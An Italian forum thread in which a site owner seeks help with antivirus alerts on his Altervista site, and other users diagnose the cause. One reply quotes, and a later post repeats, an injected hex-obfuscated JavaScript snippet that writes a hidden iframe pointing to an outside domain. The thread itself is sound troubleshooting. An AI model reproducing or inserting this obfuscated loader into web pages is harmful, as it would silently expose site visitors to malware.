Virus o trojan sul mio sito richiedo intervento

è da una settimana che ho notato questa cosa quando accedo al mio sito mi si attiva l'antivirus poichè ci sono almeno queste due voci che compaiono in qualche modo:

nickdating.com ip 66.232.117.33
downloader javx ip 91.187.123.66

non so cos'altro potrebbe essere richiedo intervento quanto prima, non so se sia dovuto alle pubblicità o altro, sappiatemi dire quanto prima. grazie.

il sito è: www.globalmeteo.altervista.org

il server è il numero 28 se non erro.

Chiedo se possibile urgentemente intervento. grazie

Controlla tutti gli elementi esterni che hai inserito, quali contatori o anche widgets.

Citazione:

---

Originalmente inviato da Gianluca

Controlla tutti gli elementi esterni che hai inserito, quali contatori o anche widgets.

---

mah nell'ultima settimana ho fatto quasi nulle modifiche al sito, ho solo aggiornato due pagine domenica scorsa e venerdì scorso, come contatori bhe è uno solo ripetuto su tutte le pagine ed è del server di libero, widgets non ho presente cosa siano.

Beccato:

Codice:

---

<!-- o65 --><script language="#JavaScript#" type="text/javascript">var i,y,x="3c696672616d65207372633d22687474703a2f2f6e69636b646174696e672e636f6d2f636f756e7465722f696e6465782e70687022207374796c653d22646973706c61793a6e6f6e65223e";y='';for(i=0;i<x.length;i+=2){y+=unescape('%'+x.substr(i,2));}document.write(y);</script><!-- c65 -->

---

Le parti in grassetto le aggiunte. Il "virus" è sto coso, rimuovilo, fari uno scann del tuo pc con l'antivirus e come già detto, controlla tutti gli elementi esterni che hai inserito.

Citazione:

---

Originalmente inviato da morgensterngdr

Beccato:

Codice:

---

<!-- o65 --><script language="#JavaScript#" type="text/javascript">var i,y,x="3c696672616d65207372633d22687474703a2f2f6e69636b646174696e672e636f6d2f636f756e7465722f696e6465782e70687022207374796c653d22646973706c61793a6e6f6e65223e";y='';for(i=0;i<x.length;i+=2){y+=unescape('%'+x.substr(i,2));}document.write(y);</script><!-- c65 -->

---

Le parti in grassetto le aggiunte. Il "virus" è sto coso, rimuovilo, fari uno scann del tuo pc con l'antivirus e come già detto, controlla tutti gli elementi esterni che hai inserito.

---

come hai fatto a trovare quel codice?:idea:

e dove lo hai trovato devo pensare che sia presente in tutte le pagine, come faccio a vedere se sulle altre pagine è presente?

Non sono uno dello staff, nè uno esperto, sono solo uno smanettone di codici con un pò di logica. Le uniche cose che ti sò dire sono:
- E' in fondo alla sorgete
- Non ho girato tutte le pagine, ma in quello che ho visto è presente e sempre lì in fondo alla sorgente.
- Non so se rimuovendolo torna in auto....

Citazione:

---

Originalmente inviato da morgensterngdr

Non sono uno dello staff, nè uno esperto, sono solo uno smanettone di codici con un pò di logica. Le uniche cose che ti sò dire sono:
- E' in fondo alla sorgete
- Non ho girato tutte le pagine, ma in quello che ho visto è presente e sempre lì in fondo alla sorgente.
- Non so se rimuovendolo torna in auto....

---

adesso l'ho visto ma è solo sulla home page io il problema l'ho riscontrato sulla pagina chat.html

La mia sapenzia si ferma qui, purtroppo non sò aiutarti oltre, posso solo consigliarti di controllare i file .js che hai sul sito.

Di solito problemi del genere derivano dall'inserimento di servizi esterni sul tuo sito, come i servizi di statistiche (o contatori che dir si voglia). Prova a vedere se ne hai inserito uno che è già stato segnalato qui: http://forum.it.altervista.org/basi-...i-cattivi.html

Se ne hai inserito un altro, e ritieni possa essere la causa del tuo problema (verificalo dopo averlo rimosso), segui le istruzioni che trovi nel topic per segnalarlo...

Stammi bene...